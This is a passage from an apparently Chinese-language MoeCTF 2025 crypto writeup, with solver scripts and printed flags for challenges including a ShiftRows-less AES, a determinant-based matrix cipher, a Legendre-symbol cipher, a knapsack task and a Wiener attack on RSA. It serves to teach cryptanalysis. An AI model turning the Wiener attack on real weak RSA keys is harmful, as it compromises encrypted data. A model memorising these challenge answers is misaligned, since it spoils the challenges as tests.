r[j] = s_box[v >> 4][v & 0xf] ^ (rc[i // 4] if j == 0 else 0)
for j in range(4):
grid.append(grid[-16] ^ r[j])
return bytes(grid)

def add_round_key(state: bytearray, round_key: bytes):
for i in range(16):
state[i] ^= round_key[i]

# === 解密单块(基于题目 bug 行为:无 shift_rows) ===
def decrypt_block_buggy(block16: bytes, expanded_key: bytes) -> bytes:
state = bytearray(block16)
# initial: add last round key (题目 encrypt 在最后用了 expanded_key[-16:])
add_round_key(state, expanded_key[-16:]) # same as last round key

# inverse of final round which used: sub_bytes -> shift_rows (noop) -> add_round_key
# so inverse is: add_round_key (already done), then inv_shift_rows (noop), then inv_sub_bytes
inv_sub_bytes(state)

# rounds 9..1 inverse steps (matching modified encrypt order):
# For each round in reverse:
# add_round_key(round_i)
# inv_mix_columns
# inv_sub_bytes
for i in range(9, 0, -1):
round_key = expanded_key[i*16:(i+1)*16]
add_round_key(state, round_key)
inv_mix_columns(state)
inv_sub_bytes(state)

# final add round key (round 0)
add_round_key(state, expanded_key[0:16])
return bytes(state)

def decrypt_bytes(cipher_bytes: bytes, key: bytes) -> bytes:
expanded = key_expansion(key)
out = bytearray()
for i in range(0, len(cipher_bytes), 16):
out += decrypt_block_buggy(cipher_bytes[i:i+16], expanded)
# challenge pads with 0x00, strip trailing zeros
return bytes(out).rstrip(b'\x00')

# === 默认的 key 与 密文(来自题目) ===
DEFAULT_KEY = b'Slightly different from the AES.'
DEFAULT_CIPHER = b'%\x98\x10\x8b\x93O\xc7\xf02F\xae\xedA\x96\x1b\xf9\x9d\x96\xcb\x8bT\r\xd31P\xe6\x1a\xa1j\x0c\xe6\xc8'

# === CLI 支持(可接受 hex 密文作为第一个参数) ===
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
arg = sys.argv[1]
try:
cipher = bytes.fromhex(arg)
except Exception:
print("参数解析失败,需传入十六进制密文(不带 0x),或不传使用内置密文。")
sys.exit(1)
else:
cipher = DEFAULT_CIPHER

key = DEFAULT_KEY
plain = decrypt_bytes(cipher, key)
try:
print("Decrypted (utf-8):", plain.decode('utf-8'))
except Exception:
print("Decrypted (raw bytes):", plain)

✅ ez_det

下述内容将会使用部分线性代数知识。考虑到读者已经掌握或即将掌握线性代数知识,对于 writeup 中使用到的一些术语、公理或定理,这里便不做说明。

题目脚本解析

脚本使用 bytes_to_long()flag 转换为大整数 $f$ 后,将其作为列表 m_blocks 的第一个元素,并将第 $2..5$ 个元素填充为 $0$,得到

$$
\text{m_blocks} = [f, 0, 0, 0, 0]
$$

随后脚本生成了一个 $128$ 位的大素数 $p$,这里 $p \in (2^{127}, 2^{128})$。

紧接着,脚本创建了一个名为 Noise 的 $4 \times 5$ 矩阵,该矩阵中每一个元素都是使用 randrange(1, p) 生成的随机整数。然后,脚本将 m_blocks 嵌入 Noise 矩阵的末尾作为第 $5$ 行,并由 M = matrix(Noise) 将这个 $5 \times 5$ 的矩阵转换为 SageMath 的矩阵对象 $M$。得到

$$
M =
\begin{bmatrix}
r_1 & r_2 & r_3 & r_4 & r_5 \\
r_6 & r_7 & r_8 & r_9 & r_{10} \\
r_{11} & r_{12} & r_{13} & r_{14} & r_{15} \\
r_{16} & r_{17} & r_{18} & r_{19} & r_{20} \\
f & 0 & 0 & 0 & 0
\end{bmatrix}
$$

其中 $r_i$ 表示随机数。

下面,脚本创建了两个 $5 \times 5$ 的单位矩阵,并分别命名为 $\text{upper}$ 和 $\text{low}$,随后它通过两层循环,在 $\text{upper}$ 的上三角部分和 $\text{low}$ 的下三角部分填充以 randrange(1, p) 生成的随机数。也就是

$$
\begin{aligned}
\text{upper} &=
\begin{bmatrix}
1 & r_1 & r_2 & r_3 & r_4 \\
0 & 1 & r_5 & r_6 & r_7 \\
0 & 0 & 1 & r_8 & r_9 \\
0 & 0 & 0 & 1 & r_{10} \\
0 & 0 & 0 & 0 & 1 \\
\end{bmatrix} \\ \ \\
\text{low} &=
\begin{bmatrix}
1 & 0 & 0 & 0 & 0 \\
r_1 & 1 & 0 & 0 & 0 \\
r_2 & r_3 & 1 & 0 & 0 \\
r_4 & r_5 & 0 & 1 & 0 \\
r_7 & r_8 & r_9 & r_{10} & 1 \\
\end{bmatrix} \\
\end{aligned}
$$

其中 $r_i$ 表示随机数。

随后脚本将上三角矩阵 $\text{upper}$ 和下三角矩阵 $\text{low}$ 相乘,得到结果矩阵 $\text{result}$。考虑到前两者均为三角矩阵,其对角线元素均为 $1$,因此其行列式均为 $1$。根据矩阵行列式的性质 $\det(\text{upper} \times \text{lower}) = \det(\text{upper}) \times \det(\text{lower})$,显然有 $\det(\text{result}) = 1 \times 1 = 1 \neq 0$,这保证了矩阵 $\text{result}$ 是可逆的。脚本后续的逻辑将返回的矩阵 $\text{result}$ 记为 $A$,以下我们沿用该记号。

预备操作完成后,脚本进行加密操作,使用密钥矩阵 $A$ 左乘包含明文的矩阵 $M$:

$$
C = A \times M
$$

得到密文 $C$。随后程序输出矩阵 $M$ 的前 $4$ 行内容(也就是 Noise 矩阵)和矩阵 $C$ 的完整内容。我们的目标是,在已知 $C$ 和 $M$ 的前 $4$ 行内容的情况下,求出 $f$ 的值。

事实上,基于矩阵的该自定义加密算法属于 线性加密系统,这意味着整个加密运算仅涉及乘法和加法。线性系统最大的特点就是,只要我们已知足够多的条件,就可以将整个系统如解方程组一般解开。即使我们无法一次性求解 $A$ 和 $M$ 的全部,我们也可以利用已知的条件,一步步地求出未知的 $A$ 的一部分,再利用这一部分求出 $M$ 的一部分,从这一部分中剥离出 $f$。我们分数步解决该问题。

Step 1:利用不含 $f$ 的列,解出 $A$ 的前 $4$ 列

矩阵乘法具有这样的性质:$C = A \times M$ 不仅整体上成立,它对每一列也同样成立。也就是说,$C$ 的第 $j$ 列($C[:, j]$)等于 $A$ 乘以 $M$ 的第 $j$ 列($M[:, j]$)。这个性质让我们能够把一个大的矩阵问题拆分为 $5$ 个独立的列向量问题来分析。

我们注意到 $f$ 只存在于 $M$ 的第 $0$ 列,对于 $j = 1, 2, 3, 4$ 这四列,其对应的列向量的最后一个元素是 $0$。当我们用矩阵 $A$ 去乘以这样一个列向量时,$A$ 的最后一列($A[:, 4]$)将会乘以这个向量的最后一个元素,也就是乘以 $0$。即,对于 $j > 0$,$C$ 矩阵中的元素 $C[i, j]$ 的计算公式

$$
\begin{aligned}
C[i, j] &= A[i, 0] \times M[0, j] + A[i, 1] \times M[1, j] \\
&+ A[i, 2] \times M[2, j] + A[i, 3] \times M[3, j] \\
&+ A[i, 4] \times M[4, j]
\end{aligned}
$$

中的 $A[i, 4] \times M[4, j]$ 为 $0$。这意味着,对于 $j = 1, 2, 3, 4$ 这四列,其计算结果 $C[:, j]$ 与 $A$ 的最后一列 完全无关。上式可化作:

$$
\begin{aligned}
C[i, j] &= A[i, 0] \times M[0, j] + A[i, 1] \times M[1, j] \\
&+ A[i, 2] \times M[2, j] + A[i, 3] \times M[3, j]
\end{aligned}
$$

这是一个方程。在这个方程内,$C[i, j]$ 已给出,$M[0, j]$ 到 $M[3, j]$ 亦已给出,唯有 $A[i, 0]$ 到 $A[i, 3]$ 是未知的。考虑到 $i = 0, 1, 2, 3, 4$ 和 $j = 1, 2, 3, 4$ 的取值范围,我们共可以写出 $20$ 个这样的方程;而我们求解的未知数正好是 $A$ 的前四列的所有元素,这些元素也有 $20$ 个。因此,我们得到了一个包含 $20$ 个未知数和 $20$ 个线性方程的方程组。考虑到 Noise 的随机性,该方程组通常是有唯一解的。这样,我们便能够解出 $A$ 的前四列($A[:, 0]$ 到 $A[:, 3]$)。

Step 2:分离出与 $f$ 相关的向量

我们已经求出 $A$ 的前 $4$ 列,现在,我们便可以求出 $M$ 的第 $0$ 列,也就是包含 $f$ 的那一列。我们写出第 $0$ 列的方程:

$$
C[:, 0] = A \times M[:, 0]
$$

展开后有

$$
\begin{aligned}
C[:, 0] &= A[:, 0] \times M[0, 0] + A[:, 1] \times M[1, 0] \\
&= A[:, 2] \times M[2, 0] + A[:, 3] \times M[3, 0] \\
&= A[:, 4] \times M[4, 0]
\end{aligned}
$$

其中,$M[4, 0]$ 即为 $f$,$M[0, 0]$ 到 $M[3, 0]$ 是 Noise 的第一列,是已知的。$C[:, 0]$ 是密文的第一列,亦是已知的。而 $A[:, 0]$ 到 $A[:, 3]$,即 $A$ 的前 $4$ 列已经在 Step 1 中解出。

移项可得

$$
b := C[:, 0] - (A[:, 0] \times M[0, 0] + \cdots + A[:, 3] \times M[3, 0]) = A[:, 4] \times f
$$

我们在这里定义了向量 $b$,这是我们能直接计算出的 $5 \times 1$ 的整数向量,其每个元素是某个整数 $A[i, 4]$ 与 $f$ 的乘积,即

$$
b = A[:, 4] \times f
$$

考虑到 $b$ 和 $A[:, 4]$ 均为已知的,目标就变成了求解 $f$。

Step 3:从 $b$ 中提取 $f$

展开 Step 2 的结果:

$$
\begin{cases}
b[0] = A[0, 4] \times f \\
b[1] = A[1, 4] \times f \\
b[2] = A[2, 4] \times f \\
b[3] = A[3, 4] \times f \\
b[4] = A[4, 4] \times f
\end{cases}
$$

我们已知 $b$ 的所有元素,但不知道 $A$ 的最后一列和 $f$。为了求解 $f$,我们在这里引入两种方法,前者较为直接和简洁、后者较为稳妥和鲁棒。

方法 1:使用最大公约数(GCD)

我们观察上面的等式可以发现,向量 $b$ 的所有元素都含有共同的因数 $f$。我们考虑

$$
\begin{aligned}
& \gcd(b[0],\ b[1],\ b[2],\ b[3],\ b[4]) \\
= & f \times \gcd(A[0, 4],\ A[1, 4],\ A[2, 4],\ A[3, 4],\ A[4, 4])
\end{aligned}
$$

由于 $A[i, 4]$ 均为随机生成的大数,我们大胆断言,这 $5$ 个元素 几乎不可能 有除了 $1$ 之外的公约数。因此,有

$$
\begin{aligned}
& \gcd(b[0],\ b[1],\ b[2],\ b[3],\ b[4]) \\
= & f \times \gcd(A[0, 4],\ A[1, 4],\ A[2, 4],\ A[3, 4],\ A[4, 4]) \\
= & f \times 1 \\
= & f
\end{aligned} \\
$$

故只需对 $b$ 的所有元素求取最大公约数即可得到 $f$。

方法 2:使用更稳妥的数学方法

这种方法不依赖于 $\gcd(b[0..4]) = 1$,因此是更稳妥和鲁棒的,可以适用于方法 1 不奏效的情况。注意到我们已经有 $A$ 的前 $4$ 列,且已知 $\det(A) = 1$,结合 $b = A[:, 4] \times f$,事实上,使用 LLL 算法等方法,我们是可以算出完整的 $A$ 的。之后,我们可以计算出 $A$ 的逆矩阵 $A^{-1}$,由

$$
\begin{aligned}
C &= A \times M \\
A^{-1} \times C &= A \times A^{-1} \times M \\
A^{-1} \times C &= M
\end{aligned}
$$

只需计算 $M = A^{-1} \times C$ 即可得到完整的明文矩阵 $M$。该方法更严谨,但实现起来比方法 1 困难许多。

提示

从上面的推理中我们也可以发现,因为 $\det(A) = 1$,存在整逆元,因此理论上我们总能精确恢复 $M$,也就是说,这是一个安全可逆的 masking,而不是传统的模 $p$ 意义上的不可逆。

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# MARSER 的解题脚本 —— 用 exact rational 解线性方程并取 gcd 得 flag
from fractions import Fraction
from math import gcd
from functools import reduce

# --------- 把这里的 Noise1 与 C 替换为题目打印出来的完整整数矩阵 ----------

Noise1 = [[188812369255757304700348466434858375423, 76227193101418053889793512137074274620, 182929943832562556837712357618449460966, 64089028822730485232228634757000880362, 105507998932915134646335608660824492778], [4164794451584365777414445214789654548, 218757364601017507642266976969178375594, 80900478205358595781985716970856912691, 8764894144288116721496194715688099729, 79843254020740598090548214477874901303], [117987853743114490372656147763454194438, 50462363711517823694719231238846607862, 223281008935308694936858040719274425965, 195686161149314741102381604090940280685, 255190262449767615741787613735615935193], [307996560867129103907440061301439467482, 244201634915439060595306901855401348278, 274311101173570181270086450310341285623, 107302772162122998219258251480409135045, 315856112749570024634898328181978603678]]
C = [[7549095046255750332237801728336040859334772097519102730041282718732588591286097116869332416391022019738347242276278766698156906555705385851, 32678071039005558259592443246596641034769961322822499350366597948506472312915956551829187426906905768184753514179380, 31986323782328762703818368292112429682487091705728337251517881966706448578725743041694735758215711997792479769768416, 14436850250809986882782230577460631764129797817847230901081280722327130562429243257968190463942277773451746453462582, 31121292454052422843719847188102625117398366197500933959853889186763173066605507892602645982827425901283104778292221], [7706938594218644198645262655888361646573462940640081908275744852516151826239618763929906370800935778758096453251327285086629846779468981315, 26330878424043569869214392883993117044708778826827450051713283720472446757085846592062228494046203274166331743213602, 24857177273083291760656086063531873337958479151212324100479828413230261594714770234719748627881602969003382340380303, 10701204334950696222836110814413459387113860196518011873575984392967690319665313155329101129794370494393952679549077, 24572394800395786579595451015986631185722061305759568372474188631404251754512686224709746129129276120602728383257777], [11413455295705082653945547551313333546335036834235413197142176083174466031786153627000022789417263202077931290945822526991594782041300524125, 25471180545905160889030953371219380924922739584058682948172053287466750144384688090173028639859506036824244304812158, 23570951485381148259743320056649061955890256395181599806489281180362961403987830105788981766739476950908584368018627, 8841273587596585448471713556252655344096448791123375053031642275508541897721478004315380581332333817343578483340851, 23502822195946748272231324934092148411160563639610181086553014413960808728166902969170101670012466997233946213819590], [7421950296415236255036285581661337216129672288628712160389173037334393744768886600555189991422762979394744362636715364094486754236805831283, 16457769281700732267826820071355765748300396519230181861693252076848397846956971602019313162032913030284068627192114, 15232356277146271770603816377269797778450646710986085702474591663364338830922301462505542520099289082804882409151229, 5693502364474910323896757819607564638117454538178679511671477570223524538553118891790661947619622326354006014535725, 15181756068875350357539670338144919822125852732174677771977932249778796486753690167705637589507167437374977859311864], [59840522766444025407946425909283435223280191210362668490197896687634499232220940811715879746607366608, 132693089828716473864848325625146553043330396013143903078592425572668035653388, 122813024364958858827663640077111626536436424651790581462109994081368873477982, 45904667136712185617747319952029678281659955585596441487265034839694031397236, 122405053037464876158961757478015519072596230291468407215303518565294845901638]]

# -------------------------------------------------------------------------

# Build linear system:
# Unknowns: A_{i,k} for i=0..4, k=0..3 (20 unknowns)
# b_i (i=0..4) where b_i = A_{i,4} * f (5 unknowns)
# Total 25 unknowns, 25 linear equations.

# helper map
unknown_indices = {}
idx = 0
for k in range(4):
for i in range(5):
unknown_indices[f"A_{i}_{k}"] = idx
idx += 1
for i in range(5):
unknown_indices[f"b_{i}"] = idx
idx += 1
n_vars = idx

# M: last row has f at column 0, other columns 0
M = [[0]*5 for _ in range(5)]
for r in range(4):
for c in range(5):
M[r][c] = Noise1[r][c]
M[4] = [None, 0, 0, 0, 0] # None represents unknown f at col 0

# Build augmented matrix of Fractions
A_mat = [[Fraction(0) for _ in range(n_vars+1)] for __ in range(25)]
eq = 0
# columns 1..4: M[4][j] == 0, so equations don't include b_i or A[:,4]
for j in range(1,5):
for i in range(5):
for k in range(4):
A_mat[eq][unknown_indices[f"A_{i}_{k}"]] = Fraction(M[k][j])
A_mat[eq][-1] = Fraction(C[i][j])
eq += 1
# column 0: includes b_i = A_{i,4} * f
for i in range(5):
for k in range(4):
A_mat[eq][unknown_indices[f"A_{i}_{k}"]] = Fraction(M[k][0])
A_mat[eq][unknown_indices[f"b_{i}"]] = Fraction(1)
A_mat[eq][-1] = Fraction(C[i][0])
eq += 1

# Gaussian elimination (exact with Fraction)
def gauss_jordan(mat):
mat = [row[:] for row in mat]
rows = len(mat)
cols = len(mat[0]) - 1
r = 0
for c in range(cols):
# find pivot
piv = None
for i in range(r, rows):
if mat[i][c] != 0:
piv = i
break
if piv is None:
continue
mat[r], mat[piv] = mat[piv], mat[r]
pv = mat[r][c]
# normalize pivot row
for j in range(c, cols+1):
mat[r][j] /= pv
# eliminate other rows
for i in range(rows):
if i != r and mat[i][c] != 0:
fac = mat[i][c]
for j in range(c, cols+1):
mat[i][j] -= fac * mat[r][j]
r += 1
if r == rows:
break
# read solution (assumes unique solution)
sol = [Fraction(0)]*cols
for i in range(rows):
# find leading column
lead = None
for j in range(cols):
if mat[i][j] != 0:
lead = j
break
if lead is not None:
sol[lead] = mat[i][-1]
return sol

sol = gauss_jordan(A_mat)

# extract b_i (these are integers in the true construction)
b = [sol[unknown_indices[f"b_{i}"]] for i in range(5)]
# ensure they are integers (Fractions with denom 1). If not, try to rationalize by common denom.
denoms = [bi.denominator for bi in b]
lcm_den = 1
def lcm(a,b): return a*b//gcd(a,b)
for d in denoms:
lcm_den = lcm(lcm_den, d)

# convert to integer list: b_ints = [bi * lcm_den]
b_ints = [int(bi * lcm_den) for bi in b]

# gcd of the b_ints is lcm_den * f * g, where g = gcd of the A[:,4] entries.
# But in practice g is usually 1; so compute candidate f = gcd(b_ints) // lcm_den
gbig = abs(b_ints[0])
for x in b_ints[1:]:
gbig = gcd(gbig, abs(x))
cand_f = gbig // lcm_den

print("b (rationals) =", b)
print("lcm_den =", lcm_den)
print("gcd(b_ints) =", gbig)
print("candidate f (gcd / lcm_den) =", cand_f)

# convert candidate f to bytes (usual CTF flag is ascii/utf-8)
if cand_f == 0:
raise ValueError("candidate f == 0, 检查你粘进来的 Noise1/C 是否完整无误。")
bbytes = cand_f.to_bytes((cand_f.bit_length() + 7)//8, 'big')
print("candidate f as bytes (raw):", bbytes)
try:
print("candidate flag (utf-8):", bbytes.decode())
except Exception as e:
print("不能解码为 utf-8,可能是 base64/其它编码或你需要进一步分析 raw bytes.")
1
2
3
4
5
6
7
PS S:\MoeCTF_2025_writeup\writeup\crypto\problems_and_solutions\ez_det> python .\ez_det_solver.py
b (rationals) = [Fraction(7549095046255750332237780046592142641095012872746235872908814360716827670823416910143198072084387409713604668076134651836886474379228762262, 1), Fraction(7706938594218644198645244974483149598327972101041195562406674460520129030650726032599951597176225478924543590911985781036949184527125242930, 1), Fraction(11413455295705082653945527880218636153458867532192296300717520982086590684780521140357437080620182542718193214726767393383252373645833284167, 1), Fraction(7421950296415236255036272826133034839152827210333434843739891413504111851929010876842251431284530221138582131582663280972286453820529712492, 1), Fraction(59840522766444025407946323066034519223486498364886994999928047602858728175387897325939967352292712829, 1)]
lcm_den = 1
gcd(b_ints) = 59840522766444025407946323066034519223486498364886994999928047602858728175387897325939967352292712829
candidate f (gcd / lcm_den) = 59840522766444025407946323066034519223486498364886994999928047602858728175387897325939967352292712829
candidate f as bytes (raw): b'moectf{D0_Y0u_kn0w_wh@7_4_de7erm1n@n7_1s!}'
candidate flag (utf-8): moectf{D0_Y0u_kn0w_wh@7_4_de7erm1n@n7_1s!}

✅ ezlegendre

脚本从 secret.py 中取出 flag 后,将 flag 的每个字节转换为 8 位二进制字符串(不足 8 位的在前面补 0),随后拼接这些二进制字符串为一个大的字符串 plaintext。随后,脚本对 plaintext 中的每一个二进制比特 b 进行如下操作:

  1. 随机生成一个 16 位的素数 $e$;
  2. 生成一个随机整数 $d$,这里 $1 \leq d \leq 10$;
  3. 计算 $n = (a + b \cdot d)^e \bmod p$。考虑到二进制比特 b01,我们可以进行分类讨论:若 $b = 0$ 则 $n = a^e \bmod p$;若 $b = 1$ 则 $n = (a + d)^e \bmod p$;
  4. n 追加到 ciphertext 中。

指数 $e$ 是一个 16 位的素数,而除 $2$ 之外的所有素数都是奇数,所以 $e$ 一定是奇数。我们知道,对于奇数 $e$,一个数的 $e$ 次方与其本身在模奇素数 $p$ 下的二次剩余性质相同,即,在 Legendre Symbol 下满足:

$$
\left( \frac{a^e}{p} \right) = \left( \frac{a}{p} \right)
$$

我们考虑每一个密文 $n$,计算其 $\left( \dfrac{n}{p} \right)$:考虑到 $\left( \dfrac{a + bd}{p} \right) \in \{1, -1\}$(这里假设了 $a + bd \not \equiv 0 \pmod{p}$,这种情况应当不会出现),而 $e$ 是奇数,所以

$$
\left( \frac{n}{p} \right) = n^{\frac{p-1}{2}}
= ((a + bd)^e)^{\frac{p-1}{2}} = ((a + bd)^\frac{p-1}{2})^e = \left( \frac{a + bd}{p} \right)
$$

也就是

$$
\boxed{ \left( \frac{n}{p} \right) = \left( \frac{a + bd}{p} \right). }
$$

  1. 若 $\left( \dfrac{n}{p} \right) \not = \left( \dfrac{a}{p} \right)$ 则必然有 $b = 1$。这在上式中是显然的,因为,若 $b = 0$,则根据 $a^e$ 的 Legendre Symbol 性质,必然有 $\left( \dfrac{n}{p} \right) = \left( \dfrac{a}{p} \right)$。
  2. 若 $\left( \dfrac{n}{p} \right) = \left( \dfrac{a}{p} \right)$,则 $b$ 应该 为 $0$。至于我们为什么说是「应该」,因为它实取决于 $\left( \dfrac{a+d}{p} \right) = \left( \dfrac{a}{p} \right)$ 是否成立,它的一般情况是无法确定的。不过,星澜音对题目给出的 $a$ 和 $p$ 进行了测试,证明了 $\left( \dfrac{a + d}{p} \right) = -1, \forall d \in \mathbb{Z} \text{ and } d \in [1, 10]$ 成立。因此在本题的情况下,我们可以放心认为 $\left( \dfrac{n}{p} \right) = \left( \dfrac{a}{p} \right)$ 时确有 $b = 0$。

基于这样的想法,我们可以爆破出密文的每一个比特位。

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
"""ezlegendre_solver.py

该 Python 脚本供 MoeCTF 2025 的 Crypto 赛道中,「ezlegendre」题目使用。
由 星澜音 在 Gemini 的帮助下编写。
"""

# 在这里填入已知的常量和 `output.txt` 的文件名。
p = 258669765135238783146000574794031096183
a = 144901483389896508632771215712413815934
FILENAME = "output.txt"


def legendre_symbol(num, prime):
"""该函数用于计算 Legendre Symbol。"""
return pow(num, (prime - 1) // 2, prime)


def solve():
"""主解密函数。"""
try:
# 从 output.txt 读取密文
with open(FILENAME, "r", encoding="utf-8") as f:
# 读取文件内容,去除可能存在的方括号和多余空格
content = f.read().strip()
if content.startswith("[") and content.endswith("]"):
content = content[1:-1]

# 按逗号分割,并将每个字符串转换为整数
ciphertext = [int(n.strip()) for n in content.split(",")]
print(f"成功读取 {len(ciphertext)} 个加密数字。")

except FileNotFoundError:
print("错误:未找到 output.txt 文件。请确保该文件与脚本在同一目录下。")
return
except (ValueError, IndexError):
print("错误:无法解析 output.txt 的内容。请确保文件格式为以逗号分隔的数字。")
return

# 1. 计算代表比特 '0' 的基准勒让德符号
symbol_for_zero = legendre_symbol(a, p)
print(f"计算出代表 '0' 的勒让德符号值为: {symbol_for_zero}")

# 用于存储解密出的二进制比特流
binary_flag = ""

# 2. 遍历所有密文,恢复出二进制的 `flag`
for n in ciphertext:
current_symbol = legendre_symbol(n, p)
# 3. 比较符号并判断比特
if current_symbol == symbol_for_zero:
binary_flag += "0"
else:
binary_flag += "1"

print("\n已成功恢复二进制 `flag` 字符串。正在转换为文本...")

# 4. 将二进制字符串转换回 ASCII 文本
flag = ""
for i in range(0, len(binary_flag), 8):
byte = binary_flag[i : i + 8]
# 确保我们处理的是完整的 8 位字节
if len(byte) == 8:
# 将 8 位二进制转换为整数,再从整数转换为对应的 ASCII 字符
flag += chr(int(byte, 2))

print("\n" + "=" * 30)
print("🎉 解密成功! 🎉")
print(f"`flag`: {flag}")
print("=" * 30)


if __name__ == "__main__":
solve()
1
2
3
4
5
6
7
8
9
10
PS S:\MoeCTF\Crypto> python .\ezledengre_decrypt.py
成功读取 336 个加密数字。
计算出代表 '0' 的勒让德符号值为: 1

已成功恢复二进制 flag 字符串。正在转换为文本...

==============================
🎉 解密成功! 🎉
Flag: moectf{Y0u_h@v3_ju5t_s01v3d_7h1s_pr0b13m!}
==============================

❌ 杂交随机数

卡在了一个诡异的地方……

✅ 沙茶姐姐的 Fufu

题目

题目描述

众所周知,沙茶姐姐很喜欢 Fufu,于是她趁着暑假准备大量购入 Fufu,现在有 $N (1 \leq N \leq 10^3)$ 只 Fufu 在沙茶姐姐的购物清单上,每只 Fufu 能且仅能购买 一次,其中第 $i$ 只 Fufu 的可爱程度为 $\omega_i (1 \leq \omega_i \leq 10^9)$,每只 Fufu 还有一个保养难度 $c_i (1 \leq c_i \leq 10^4)$,沙茶姐姐的精力 $M (1 \leq M \leq 10^4)$ 有限,也就是沙茶姐姐持有的所有 Fufu 的保养难度的总和不能大于 $M$,但她又想买入 总可爱度 尽可能多的 Fufu。现在,她把这个问题交给了你,请你帮她算算总可爱度最多可以是多少。

形式化地,你需要求出给定的 $N$ 只 Fufu 的一个子集 $S$ 在满足 $\sum_{i \in S}c_i \leq M$ 的前提下,$\sum_{i \in S}\omega_i$ 的最大值。

由于沙茶姐姐是一种多维生物,所以你需要为所有 $T$ 个平行宇宙中的沙茶姐姐解决问题,在解决所有沙茶姐姐的问题后,所有问题答案的 异或和 就是沙茶姐姐给你的报酬——本题 flag 的内容。

输入格式

第一行一个整数 $T$。

接下来 $T$ 组数据表示每一个子问题,每组数据第一行两个整数 $N$ 和 $M$,接下来 $N$ 行每行两个整数 $c_i$ 和 $\omega_i$ 描述一个 Fufu。

这是简易的 0-1 背包问题,对于 OIer 来讲应该是随手的。但是星澜音没学过 OI,所以理解起来还是有点费力。

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 运行:python solve.py < input.txt
import sys

data = sys.stdin.read().strip().split()
it = iter(data)
T = int(next(it))
xor_sum = 0

for _ in range(T):
N = int(next(it)); M = int(next(it))
dp = [0] * (M + 1)
for _ in range(N):
c = int(next(it)); omega = int(next(it))
if c > M:
# 该物品放不下,跳过;(仍可安全读取 omega)
continue
# 01 背包逆序更新
for w in range(M, c - 1, -1):
val = dp[w - c] + omega
if val > dp[w]:
dp[w] = val
ans = dp[M]
xor_sum ^= ans

print(xor_sum)

❌ (半^3) 部电台

又卡在了诡异的地方……😭

✅ Ez_wiener

简易的 Wiener 攻击。

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
from math import isqrt
from Crypto.Util.number import long_to_bytes

# 给出的 n, e, c
n = 84605285758757851828457377667762294175752561129610097048351349279840138483398457225774806927631502994733733589395840262513798535197234231207789297886471069978772805190331670685610247724499942260404337703802384815835647029115023558590369107257177909006753910122009460031921101203824769814404613875312981158627
e = 36007582633238869298665544067678113422327323938964762672901735035127703586926259430077542134592019226503943946361640448762427529212920888008258014995041748515569059310310043800176826513779147205500576568904875173836996771537397098255940072198687847850344965265595497240636679977485413228850326441605991445193
c = 25377227886381037011295005467170637635721288768510629994676412581338590878502600384742518383737721726526909112479581593062708169548345605933735206312240456062728769148181062074615706885490647135341795076119102022317083118693295846052739605264954692456155919893515748429944928104584602929468479102980568366803


# ---- 连分数与收敛分数工具 ----
def contfrac(num, den):
"""num/den 的连分数展开 [a0, a1, ...]"""
while den:
a = num // den
yield a
num, den = den, num - a * den


def convergents(cf):
"""由连分数项生成逐个收敛分数 (k_i, d_i),表示 k_i/d_i 约等于 e/n"""
k_prev, k = 1, cf[0]
d_prev, d = 0, 1
yield (k, d)
for a in cf[1:]:
k_prev, k = k, a * k + k_prev
d_prev, d = d, a * d + d_prev
yield (k, d)


def is_perfect_square(x):
if x < 0:
return False
r = isqrt(x)
return r * r == x


# ---- Wiener 攻击主体 ----
def wiener_attack(e, n):
# e/n 的连分数
cf = list(contfrac(e, n))
for k, d in convergents(cf):
if k == 0:
continue
# 验证 (e*d - 1) 能否被 k 整除,从而候选出 φ(n)
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k

# 解二次方程 x^2 - (n - phi + 1) x + n = 0
# 判别式 Δ = (n - phi + 1)^2 - 4n 必须是完全平方数
s = n - phi + 1
disc = s * s - 4 * n
if not is_perfect_square(disc):
continue
t = isqrt(disc)
# 得到 p, q
p = (s + t) // 2
q = (s - t) // 2
if p * q == n and p > 1 and q > 1:
# 这里的 d 值通常就是私钥 d
return d, p, q
return None, None, None


def main():
d, p, q = wiener_attack(e, n)
if d is None:
print("Wiener 攻击失败:未能恢复 d。")
return
print(f"Recovered d: {d}")
print(f"p: {p}\nq: {q}")

m = pow(c, d, n)
flag = long_to_bytes(m)
try:
print("flag =", flag.decode())
except UnicodeDecodeError:
print("flag (bytes) =", flag)


if __name__ == "__main__":
main()

✅ Prime_in_prime

从 $N = 2 \times h \times g + 1$ 中计算出 $h$,引入 $h$ 以解出 $a$ 和 $b$,使用 $a$ 和 $b$ 计算出 $p$ 和 $q$,以计算 $\phi(N) = (p-1) \times (q-1)$,求出 $e$ 在模 $\phi(N)$ 下的逆元私钥 $d$,使用 $d$ 对 $\text{enc}$ 解密即可。

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import gmpy2
from Crypto.Util.number import long_to_bytes

# --- 请将从题目中获取的值填入此处 ---
